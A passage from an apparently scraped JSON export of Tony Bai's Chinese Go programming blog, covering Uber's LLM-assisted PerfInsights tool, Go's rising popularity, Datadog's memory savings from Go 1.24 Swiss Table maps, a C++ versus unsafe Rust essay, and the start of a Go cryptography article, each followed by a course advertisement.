能够高精度地定位到代码中的低效结构，并给出具体的优化建议。\n验证：建立开发者信任的“双保险”机制 直接信任 LLM 的输出是危险的，因为它可能产生幻觉或生成不可运行的代码。PerfInsights 的独特之处在于其强大的双重验证机制，旨在将误报率降至最低，建立开发者的信任。\nLLM 陪审团 (LLM Juries)：PerfInsights 不会依赖单一模型的判断。相反，它采用一个由多个不同 LLM 组成的“陪审团”。每个模型都会独立评估检测到的反模式和建议的修复方案是否有效。这种集成方法能有效减少单个模型的幻觉和误判。 LLMCheck 框架：这是一个基于规则的第二层验证系统。它包含了一系列针对特定领域的验证器，用于检查 LLM 响应中常见的错误，例如： 混淆 map 和 slice。 将循环不变量错误地识别到循环之外。 误将循环变量识别为不变量。 通过这套“AI + 规则”的双重验证，PerfInsights 成功地将误报率从最初的 80% 以上降低到了百分之十几的水平。\nPrompt 工程：与 LLM 高效对话的艺术 为了让 LLM 发挥最大效用，Uber 团队在 Prompt 工程上投入了大量精力，总结出几项关键策略：\n少样本提示 (Few-Shot Prompting)：在 Prompt 中提供几个具体的“反模式-正例”代码对，能让模型更好地泛化，显著提升检测准确性。 角色与指令：明确告知 LLM 它的角色是“Go 专家”，并使用非常具体、积极的指令（避免使用“不要”）。同时，要求模型确保其建议的优化代码是可运行的。 置信度评分：要求 LLM 为其每个判断提供一个 1-10 的置信度分数，这能促使模型进行更深层次的“思考”，并为后续的自动化流程提供决策依据，如下图。 影响与成果：从理论到数百万美元的节省 PerfInsights 在 Uber 内部取得了巨大的成功，其影响体现在多个层面：\n工程效率的量级提升：过去需要专家团队花费数周甚至数月才能完成的诊断工作，现在被缩短至数小时甚至数分钟。一个案例中，检测和修复一个问题的时间从 14.5 小时减少到约 1 小时，实现了 93.1% 的时间节省。据估算，该工具每年可为 Uber 节省约 3,800 个专家工程小时。 可衡量的成本节约与代码健康：自推出以来，PerfInsights 已经生成了数百个被合并的代码优化 diff，直接带来了可观的计算成本节约。同时，它帮助团队在四个月内将检测到的反模式数量减少了 33.5%，使得代码库更健康、审查周期更短、发布更安全。 性能文化的变革：最重要的是，PerfInsights 将性能调优从一种偶发的、被动的“救火”行动，转变为一种持续的、数据驱动的、主动嵌入在 CI/CD 和日常开发流程中的规程。 小结 Uber 的 PerfInsights 项目为整个行业提供了一个将 GenAI 应用于复杂工程问题的杰出范例。它清晰地表明，GenAI 的力量不在于盲目地替代开发者，而在于与传统的、可靠的工程工具（如 pprof）和严谨的验证流程相结合，从而在特定领域发挥出最大效能。\n对于 Go 社区的开发者而言，PerfInsights 带来的启示是深刻的：\n生产数据是金矿：基于真实 profiling 数据的优化，远比凭空猜测更有效。\nAI 需要“缰绳”：通过静态过滤缩小范围，并通过多层验证来约束 AI，是成功应用 GenAI 的关键。\n信任是第一要务：只有当工具的建议可靠、误报率低时，它才能真正被开发者接纳并融入日常工作流。\nPerfInsights 的成功，标志着性能工程正迈入一个由 AI 辅助的、更加普惠和高效的新时代。虽然当前PerfInsights还没有开源，但就Uber这篇文章提供的“实践思路”来看，也是非常值得我们思考和借鉴的。\n资料链接：https://www.uber.com/blog/perfinsights\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/23/uber-perfinsights/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/uber-perfinsights-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/23/uber-perfinsights\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/23/uber-perfinsights\"\u003ehttps://tonybai.com/2025/07/23/uber-perfinsights\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003e对于大多数团队而言，Go 服务的性能优化是一项昂贵且充满挑战的任务。它通常需要资深的工程师花费数天甚至数周的时间进行 profiling、基准测试和代码分析，这在快节奏的开发周期中往往难以持续。Uber 面临着同样的问题，其 Top 10 的 Go 服务每月就产生数百万美元的计算开销，系统性的性能调优迫在眉睫。\u003c/p\u003e","title":"Uber性能优化实践：如何用 GenAI 将 Go 代码调优从数周缩短至数小时？"},{"content":"不止是云原生：为什么 Go 的热度在持续上升？来自社区的真实声音 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n不止是云原生：为什么 Go 的热度在持续上升？来自社区的真实声音 七月 23, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/23/go-surge-in-popularity\n大家好，我是Tony Bai。\n最近，在国外的 Go 语言社区（Reddit r/golang），有用户提出了一个我们许多人可能都想过的问题：“是只有我一个人觉得，还是 Go 近年来的人气确实在上升？”\n这个问题迅速引爆了社区，收到了近百条来自全球一线开发者的回复。答案是响亮而一致的：不，不是你一个人。 Go 的崛起，早已超越了其在云原生领域的舒适区，正以一种不可阻挡的势头，渗透到软件工程的各个角落。\n这篇文章，不谈空泛的理论，也不做单纯的布道。我想带你一起，潜入这场热烈的社区讨论，去倾听那些最真实、最鲜活的声音，看看开发者们自己，是如何解释 Go 成功的秘诀。\n第一支柱：Go，新一代的“基础设施语言” 在所有的讨论中，一个观点被反复提及，并获得了最高的赞誉：\n“我称 Go 为‘基础设施语言’（the language of infrastructure）。”\n这个定义精准地抓住了 Go 的灵魂。当我们审视当今软件世界的基石时，会发现一个惊人的事实：那些支撑着我们数字世界的骨架，几乎都是用 Go 构建的。社区用户随手就列出了一份星光熠熠的名单：\nDocker \u0026amp; Kubernetes Podman \u0026amp; Helm Etcd、Consul \u0026amp; Terraform ……等等等等 这些工具定义了容器化、编排和基础设施即代码（IaC）的现代范式。而一个更具冲击力的例子来自一位正在构建 Hypervisor 平台的开发者，他分享道：\n“我们的核心分布式系统是用纯 Go 编写的，总共只用了 4 个 外部依赖。其余的一切，都来自 Go 的标准库和 FreeBSD。是的，你没看错，我没有打错字。”\n仅凭标准库就能构建如此复杂的底层系统，这强有力地证明了 Go 语言的强大、自足与工程上的优越性。它不是玩具，而是真正能用来打造重型装备的工业级工具。\n第二支柱：简单的“宿命”——生产力的终极来源 一个极具洞察力的观点在社区中引发了共鸣：\n“Go 的简单性，注定了它会随着时间的推移而越来越受欢迎。”\n这是一个奇妙的悖论。许多开发者初识 Go 时，可能会抱怨它“缺少功能”（比如早年关于泛型的激烈争论）。然而，随着项目的深入，大家逐渐意识到，简单性，恰恰是 Go 最强大的武器。\n因为它带来了：\n极高的可维护性：没有复杂的继承链，没有隐晦的语法糖，代码直截了当，易于理解和修改。 惊人的生产力：当你不再需要为语言的复杂特性而烦恼时，你就能更专注于解决业务问题本身。 极低的上手门槛：正如一位用户所说，“Go 很容易教给新员工”。在一个需要团队协作的工程世界里，这一点至关重要。 另一位开发者补充道：“我讨厌在晦涩的语言废话上浪费时间。我只需要交付高质量、可长期维护的生产级代码。Go 提供了最核心的骨架，这正是我所需要的。”\n第三支柱：出色的性能与工程体验的完美平衡 如果说简单是 Go 的哲学，那么在性能与体验之间找到那个“甜点”（Sweet Spot），就是它在工程实践中取胜的关键。\n社区对此有一个生动的总结：“我们用 Go 得到了 C 语言 95% 的好处，同时摆脱了它的那些麻烦。” 评论区里一句饱含情感的“NO CMAKE!”足以让无数系统程序员会心一笑。\n同时，Go 语言“缓慢改进”（slowly improving）的策略也被认为是优点。对于生产环境而言，这意味着更少的破坏性变更和更稳定的生态系统。\n在与另一门备受推崇的系统语言 Rust 的对比中，社区的看法也相当务实：“我们用 Rust 来做更接近底层硬件（close to the metal）的工作，用 Go 来做更高层次的事情。” 两者各有所长，Go 在应用层和中间件层提供了无与伦比的开发效率。\n一个现代化的加分项：与 AI 工具的奇妙协同 在 AI 赋能开发的今天，Go 的简单性再次展现出意想不到的优势。社区里关于 Go 与 AI Code Assistants（如 Copilot）的讨论，揭示了一个新的增长点。\n一方面，AI 更“喜欢”Go。 因为 Go 语言相对年轻，其在网络上的训练数据中，“历史垃圾代码”（比如陈旧的 WordPress/PHP 样例）较少。其简洁、统一的语法也让 AI 更容易学习和生成高质量的代码。 另一方面，开发者更喜欢用 AI 写 Go。 正如一位用户所说：“因为 Go 代码易于阅读和理解，AI 提出的建议可以在几秒钟内被接受或拒绝。” 这种奇妙的协同效应，恰恰体现了 AI 辅助开发的最佳实践：AI 作为一个强大的初稿生成器，而 Go 的简洁性则极大地降低了人类进行代码审查和最终决策的认知负荷。\n小结：一个引人深思的提醒 在这场热烈的讨论中，那位构建 Hypervisor 的资深开发者，在给一位求学的学生提供职业建议时，留下了一段发人深省的话：\n“我能给你的最大建议是，亲身去经历用你自己的大脑、用你自己的手指去构建一切的痛苦……不要用 AI，它会在你最需要拓展大脑的时候腐蚀你的大脑。 深入研究未知问题和构想解决方案的能力，将使你无可替代。”\n这番话并非是要我们全盘否定 AI，而是一个善意的提醒。\nGo 的成功，归根结底是其设计哲学——简单、实用、高效——的成功。它让工程师能将精力聚焦于创造性的核心工作上。而 AI，作为这个时代最强大的工具，我们应该如何使用它，才能放大而非削弱我们作为人类工程师的核心价值？\n这或许是 Go热度上升后，带给我们的另一个值得深思的问题。\n资料链接：https://www.reddit.com/r/golang/comments/1m41dz9/is_it_just_me_or_has_golang_been_surging_in/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/23/go-surge-in-popularity/","summary":"\u003ch1 id=\"不止是云原生为什么-go-的热度在持续上升来自社区的真实声音---tony-bai\"\u003e不止是云原生：为什么 Go 的热度在持续上升？来自社区的真实声音 - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"不止是云原生：为什么 Go 的热度在持续上升？来自社区的真实声音"},{"content":"\n本文永久链接 – https://tonybai.com/2025/07/22/go-swiss-table-map-user-report\n大家好，我是Tony Bai。\nDatadog 的故事始于一次对Go 1.24内存回归问题的追踪。在与 Go 社区协作修复了该问题后，他们在部署修复版本的过程中，观察到了一个意料之外的现象：在高流量环境中，内存使用不仅恢复了正常，甚至大幅下降。一个名为 shardRoutingCache 的巨型内存 map，其堆内存占用减少了约 500 MiB，考虑到 Go 的垃圾回收机制（GOGC=100），这相当于节省了近 1 GiB 的物理内存。\n这一发现引出了两个核心问题：\nGo 1.24 究竟做了什么，让 map 在某些场景下变得如此高效？\n为什么这种内存优化的效果并非在所有环境中都一致？\nGo Map 的前世今生：从 Bucket 到 Group 要理解这一变革，我们必须回顾 Go map 的内部实现演进。\nGo 1.23 及之前：基于 Bucket 的设计 在 Go 1.24 之前，Go 的 map 实现是基于传统的**桶（Bucket）**和链式地址法来解决哈希冲突的。\n结构：map 由一个 Bucket 数组组成。每个 Bucket 内部有 8 个槽（slot），用于存放键值对。 插入与查找：当插入或查找一个键时，Go 会计算其哈希值以确定它属于哪个 Bucket。然后，它需要线性扫描该 Bucket 内的所有槽位来查找匹配的键。 溢出处理：当一个 Bucket 的 8 个槽都满了，后续哈希到此的键值对会被放入一个**溢出桶（overflow bucket）**中，并形成一个链表。这意味着，在最坏的情况下，一次查找可能需要遍历多个 Bucket。 扩容机制：当 map 的平均负载因子超过阈值（约 81.25%）时，会触发扩容。Go 会分配一个两倍大小的新 Bucket 数组，但并不会立即迁移所有数据。为了平摊延迟，数据迁移是增量进行的，在后续的写操作中，旧 Bucket 的数据会逐渐被搬迁到新 Bucket。这种设计虽然降低了单次操作的延迟，但其代价是在迁移期间，新旧两个 Bucket 数组会同时存在于内存中，导致瞬时内存翻倍。 Go 1.24 的革新：Swiss Table 与可扩展哈希 Go 1.24 引入了一套全新的、基于 Swiss Tables 和可扩展哈希（extendible hashing） 的 map 实现，彻底改变了游戏规则。\n结构：数据被存储在组（Group）中，每个组同样包含 8 个槽。与 Bucket 不同的是，每个 Group 都有一个 8 字节的控制字（control word）。控制字的每个字节对应一个槽，其低 7 位存储了该槽位 key 哈希值的最后 7 位（h2），最高位则是一个标记，表示该槽是空闲（empty）、已删除（deleted）还是使用中（in use）。 高效查找：当查找一个键时，不再需要线性扫描所有键值对。Go 可以利用单指令多数据流（SIMD）指令，将目标键的 h2 值与控制字中的 8 个字节并行比较，一次性找出所有可能匹配的槽位。这极大地加速了查找过程。\n开放寻址与无溢出桶：当一个 Group 满了，新的键值对会通过开放寻址（probing）的方式，被尝试放入下一个 Group。这种快速的探测机制彻底消除了对溢出桶的需求。\n更高的负载因子与更高效的扩容：由于探测速度极快，Swiss Table 可以安全地维持更高的负载因子（87.5%），这意味着在存储相同数量的元素时，所需的总槽位数更少，从而节省了内存。更重要的是，对于非常大的 map，Go 1.24 采用了可扩展哈希，将一个大 map 视为一个由多个独立的、大小有上限（128个Group）的 Swiss Table 组成的目录。当某个子表需要分裂时，只会影响该子表本身，而不是像旧版 map 那样保留整个旧的 Bucket 数组，这使得扩容过程的内存效率大大提高。\nDatadog 实战：量化 Swiss Table 带来的巨大收益 Datadog 团队通过详细的计算，量化了这次底层变更对他们核心业务数据 shardRoutingCache 的影响。\n案例背景：一个巨大的内存缓存 shardRoutingCache 这个 map 在服务启动时从数据库加载，并且很少写入，其结构如下：\n// The key represents each routing key derived from the data payload shardRoutingCache map[string]Response type Response struct { ShardID int32 ShardType ShardType // ShardType is an int RoutingKey string LastModified *time.Time } 在 64 位架构下，每个键值对（不含 string 内容和 time.Time 结构体）的基础大小为 56 字节。\n高流量环境：350 万元素的 map Go 1.23 下的内存估算：为了存储 350 万个元素，并考虑到增量扩容期间新旧 Bucket 数组共存的情况，Datadog 估算出 map 的桶结构本身大约需要 696 MiB 内存。 Go 1.24 下的内存估算：得益于更高的负载因子和更高效的扩容机制，存储同样多的元素，Swiss Table 只需要大约 500,000 个 Group，分布在约 3900 个独立的子表中。每个子表独立管理内存，避免了全局的内存加倍。 最终结果是，仅 map 结构本身的内存占用就从近 700 MiB 降至约 200 MiB 左右，实现了约 70% 的惊人降幅，这与他们在生产环境中观察到的 500 MiB 堆内存节省高度吻合。\n低流量环境：55 万元素的 map 然而，在元素数量级较小的环境中（约 55 万），内存节省效果（约 28 MiB）远没有那么显著。这点节省甚至不足以抵消 Go 1.24 中 mallocgc 的内存回归带来的开销（约 200-300 MiB RSS 增加）。这完美地解释了为什么内存优化的效果并非普遍存在：Swiss Table 的优势在处理大规模 map 时才能被最大化地体现出来。\n超越运行时：应用层优化的锦上添花 受到运行时优化的启发，Datadog 团队还审视了自己的数据结构 Response。他们发现：\nRoutingKey 和 LastModified 字段在该 map 的特定用例中从未被填充。\nShardType 作为一个只有 3 个值的枚举，却使用了 8 字节的 int 类型。\n通过创建一个仅包含所需字段的新结构 cachedResponse，并将 ShardType 从 int 改为 uint8，他们将每个 value 的大小从 40 字节（带填充）锐减至 8 字节（带填充）。这一应用层面的优化，为他们高流量环境中的每个 pod 额外节省了约 250 MiB 的 RSS。\n总结与启示 Datadog 的这次深度调查为 Go 开发者社区带来了宝贵的经验：\nGo 1.24 的 Swiss Tables 是一个巨大的胜利：对于重度使用大型 map 的应用，升级到 Go 1.24 能带来立竿见影的、显著的内存节省和性能提升。 升级需谨慎，观测是关键：每个 Go 版本都可能带来优化和回归。没有深入的运行时指标（如 RSS）和堆分析，像 mallocgc 回归和 Swiss Table 优化这样的 subtle 变化很容易被忽略或误判。 运行时与应用层优化相辅相成：底层的改进为上层应用打开了新的优化空间。审视自己的数据结构，消除浪费，使用恰当大小的类型，这些看似微小的改动在规模化部署下能产生巨大的影响。 社区协作的力量：从发现问题到与 Go 团队协作验证修复，这次经历再次证明了 Go 社区开放协作文化的强大。 总而言之，Go 1.24 中 map 的革新是一次教科书式的工程优化。它不仅提升了 Go 语言的核心竞争力，也通过 Datadog 的分享，为所有 Go 开发者上了一堂生动的、关于性能分析与优化的实践课。\n资料链接：https://www.datadoghq.com/blog/engineering/go-swiss-tables/\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/22/go-swiss-table-map-user-report/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/2025/go-swiss-table-map-user-report-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2025/07/22/go-swiss-table-map-user-report\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2025/07/22/go-swiss-table-map-user-report\"\u003ehttps://tonybai.com/2025/07/22/go-swiss-table-map-user-report\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e大家好，我是Tony Bai。\u003c/p\u003e\n\u003cp\u003eDatadog 的故事始于\u003ca href=\"https://www.datadoghq.com/blog/engineering/go-memory-regression/\"\u003e一次对Go 1.24内存回归问题的追踪\u003c/a\u003e。在与 Go 社区协作修复了该问题后，他们在部署修复版本的过程中，观察到了一个意料之外的现象：在高流量环境中，内存使用不仅恢复了正常，甚至\u003cstrong\u003e大幅下降\u003c/strong\u003e。一个名为 shardRoutingCache 的巨型内存 map，其堆内存占用减少了约 500 MiB，考虑到 Go 的垃圾回收机制（GOGC=100），这相当于节省了近 \u003cstrong\u003e1 GiB\u003c/strong\u003e 的物理内存。\u003c/p\u003e","title":"Go 1.24用户报告：Datadog如何借助 Swiss Tables版map节省数百 GB 内存？"},{"content":"Rust 的安全神话？数据库 CEO 为何在关键系统中仍选 C++ - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\nRust 的安全神话？数据库 CEO 为何在关键系统中仍选 C++ 七月 22, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/22/cedardb-choose-cpp-rather-than-rust\n大家好，我是Tony Bai。\n近年来，Rust 语言无疑是技术圈最炙手可热的明星。它以“内存安全”的核心承诺，向统治了系统编程领域数十年的 C++ 发起了强有力的挑战。无数文章和布道者都在宣扬一个近乎“神话”的观点：用 Rust，你就能告别段错误和内存泄漏。\n然而，就在这股“Rust 替换一切”的热潮中，一个来自行业核心的声音，给我带来了深深的思考。\nMoritz Sichert，高性能数据库 CedarDB 的联合创始人兼 CEO，最近发表了一个“反直觉”的观点：\n“Rust 是一门很棒的语言，我真的很喜欢用它。然而，当涉及到数据库系统时，我仍然会选择 C++ 而不是 Rust。”\n一个数据库 CEO，在一个对数据安全和系统稳定性要求极致的领域，放弃了以“安全”著称的 Rust，转而拥抱充满了“历史遗留问题”的 C++。这究竟是为什么？\n这并非一次简单的“厚此薄彼”，而是一场关于工程现实与语言哲学之间深刻权衡的精彩案例。\n理论安全 vs 工程现实：unsafe 的“逃生舱口” Moritz 首先承认了 Rust 的优点：理论上，Rust 通过其所有权系统和借用检查器，提供了远超 C++ 的默认安全性。这正是大家喜爱 Rust 的原因。\n但问题在于，像 CedarDB 这样的高性能数据库，其开发工作远不止是处理业务逻辑。它需要深入到硬件的毛细血管中，榨干每一滴性能。这意味着：\n使用大量底层的 CPU 特性。 实现复杂的侵入式数据结构。 进行带有验证的、乐观且激进的内存访问。 在这些场景下，Rust 的安全检查反而成了“束缚”。为了完成任务，你必须使用 Rust 提供的“逃生舱口”——unsafe 关键字。\n而 Moritz 抛出的重磅炸弹正在于此：\n“一旦你在 Rust 中写下 unsafe 代码，所有的赌注都将失效。在 unsafe 代码中，你遇到未定义行为（UB, Undefined Bahavior）的风险，甚至比在 C++ 中还要高。”\nunsafe Rust：一个更危险的“黑暗森林”？ 这个论断足以颠覆许多人的认知。unsafe Rust 怎么会比 C++ 还危险？\n关键在于理解 unsafe 到底意味着什么。它不是简单地“关闭”安全检查，而是程序员向编译器立下了一个契约：“编译器，请相信我，接下来的这段代码，我将手动保证它完全遵守 Rust 的内存模型和别名规则（Aliasing Rules）。”\n这正是问题的核心所在。\nC++ 的危险是“已知的”：C++ 就像一片广阔的雷区，但经过几十年的探索，老兵们已经绘制出了详细的“排雷图”。虽然处处是坑，但如何避免、如何调试，已经积累了大量的工程实践和模式。\nunsafe Rust 的危险是“微妙的”：unsafe 区域就像一个“黑暗森林”，你不仅要面对 C++ 程序员熟悉的裸指针、内存布局等问题，更要命的是，你还必须手动维护 Rust 那套比 C++ 更为严格的别名规则（例如，在任何给定时间，你只能有一个可变引用 \u0026amp;mut T，或者任意数量的不可变引用 \u0026amp;T，但不能两者都有）。\n对于一位经验丰富的 C++ 开发者而言，在 unsafe 块里很容易不自觉地写出 C++ 风格的指针操作，却无意中违反了 Rust 的核心不变量，从而触发 UB。这种“新规则”下的自由，反而成了一个更容易跌落的陷阱。\nMoritz 的观点是：在一个必须大量使用 unsafe 的项目中，与其在一个受严格规则约束的环境里“戴着镣铐跳舞”，不如直接选择那个虽然危险、但规则更为人熟知且自由度更高的 C++。\n聊聊 Go：一种不同的安全哲学 那么，聊了这么多 Rust 和 C++，我们作为 Gopher 能从中得到什么启发呢？这恰好能让我们更深刻地理解 Go 的设计取舍。\nGo 语言同样有一个 unsafe 包。但与 Rust 的设计哲学截然不同。\nRust 的 unsafe 是语言的一等公民，是其系统编程能力的重要组成部分，是为了实现“零成本抽象”而设计的必要工具。\n而 Go 的 unsafe，从其文档的第一句话起，就在极力地“劝退”你：\n“任何使用了 unsafe 包的程序都可能在未来 Go 语言版本中无法移植……使用 unsafe 的代码，其安全性需要程序员手动保证，我们不建议使用。”\n在 Go 的世界里，unsafe 更像一个被严格限制的“后门”，而非一个功能特性。它的存在主要是为了实现标准库（如 runtime、sync），或在极少数与 C 库交互、进行极致性能微调的场景下使用。\n我们可以这样总结三者的哲学：\nC++：默认给予你全部的权力与危险，安全是你的责任。\nRust：默认提供极致的安全，但给你一个 unsafe 的选项，让你在立下严格契约为前提下重获权力。\nGo：默认通过 GC 和简单的内存模型提供高度的工程安全与效率，unsafe 是一个官方不鼓励、非标准的“应急方案”。\nGo 的选择是，在绝大多数场景下，宁愿牺牲掉那部分通过复杂手动内存管理换来的极限性能，也要保证语言模型的简单性和大规模团队协作的工程效率与安全。\n小结：没有神话，只有权衡 Moritz Sichert 的观点，并非是对 Rust 的全盘否定，更不是在鼓吹 C++ 的回归。\n它有力地击碎了“Rust=绝对安全”的技术神话，揭示了一个冰冷的工程现实：在任何复杂的系统中，安全都是一个连续的光谱，而不是一个二元的开关。\n当你的业务场景把你推向性能金字塔的顶尖，逼迫你大量使用 unsafe 时，Rust 的安全优势就会被削弱，其复杂的底层规则甚至可能成为新的风险来源。\n这个案例告诉我们，技术选型永远没有“银弹”，只有基于特定问题、特定团队、特定目标的深刻权衡。作为开发者，我们最重要的能力，就是理解自己手中工具的设计哲学、优势边界以及它为之付出的代价。\n对于绝大多数的后端服务、云原生应用而言，Go 和 Rust 提供的现代安全模型无疑是巨大的进步。但请记住，当有人在讨论“是否选择 C++”时，他可能不是在开历史的倒车，而是在思考一个我们尚未触及的、更深层次的工程问题。\n你的Go技能，是否也卡在了“熟练”到“精通”的瓶颈期？\n想写出更地道、更健壮的Go代码，却总在细节上踩坑？ 渴望提升软件设计能力，驾驭复杂Go项目却缺乏章法？ 想打造生产级的Go服务，却在工程化实践中屡屡受挫？ 继《Go语言第一课》后，我的《Go语言进阶课》终于在极客时间与大家见面了！\n我的全新极客时间专栏 《Tony Bai·Go语言进阶课》就是为这样的你量身打造！30+讲硬核内容，带你夯实语法认知，提升设计思维，锻造工程实践能力，更有实战项目串讲。\n目标只有一个：助你完成从“Go熟练工”到“Go专家”的蜕变！ 现在就加入，让你的Go技能再上一个新台阶！\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。如有需求，请扫描下方公众号二维码，与我私信联系。\n","permalink":"https://tonybai.com/2025/07/22/cedardb-choose-cpp-rather-than-rust/","summary":"\u003ch1 id=\"rust-的安全神话数据库-ceo-为何在关键系统中仍选-c---tony-bai\"\u003eRust 的安全神话？数据库 CEO 为何在关键系统中仍选 C++ - Tony Bai\u003c/h1\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/\"\u003eTony Bai\u003c/a\u003e\n一个程序员的心路历程\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/google-go-style/\" title=\"Google Go语言编码风格规范\"\u003eGoogle Go语言编码风格规范\u003c/a\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-guide/\" title=\"Google Go语言编码风格规范：指南篇\"\u003eGoogle Go语言编码风格规范：指南篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-decisions/\" title=\"Google Go语言编码风格规范：决定篇\"\u003eGoogle Go语言编码风格规范：决定篇\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://tonybai.com/google-go-style/google-go-style-best-practices/\" title=\"Google Go语言编码风格规范：最佳实践篇\"\u003eGoogle Go语言编码风格规范：最佳实践篇\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/go-course-faq/\" title=\"Go语言第一课FAQ\"\u003eGo语言第一课FAQ\u003c/a\u003e\u003c/p\u003e","title":"Rust 的安全神话？数据库 CEO 为何在关键系统中仍选 C++"},{"content":"解密 Go 安全核心：7 步掌握现代密码学工程 - Tony Bai Tony Bai 一个程序员的心路历程\nGoogle Go语言编码风格规范\nGoogle Go语言编码风格规范：指南篇 Google Go语言编码风格规范：决定篇 Google Go语言编码风格规范：最佳实践篇 Go语言第一课FAQ\nGo语言进阶课FAQ\n关于我\n我的技术专栏\n文章列表\n解密 Go 安全核心：7 步掌握现代密码学工程 七月 21, 2025 0 条评论 本文永久链接 – https://tonybai.com/2025/07/21/go-crypto-101\n大家好，我是Tony Bai。\n在我们的日常开发中，密码学（Cryptography）似乎是一个遥远又令人敬畏的“禁区”。我们遵循着“不要自己发明轮子”的金科玉律，熟练地调用着各种加密库，但内心深处，它对我们而言可能依然是一个“黑盒”。\n为什么现代加密推荐 AES-GCM，而不是简单的 AES + HMAC？ HTTPS 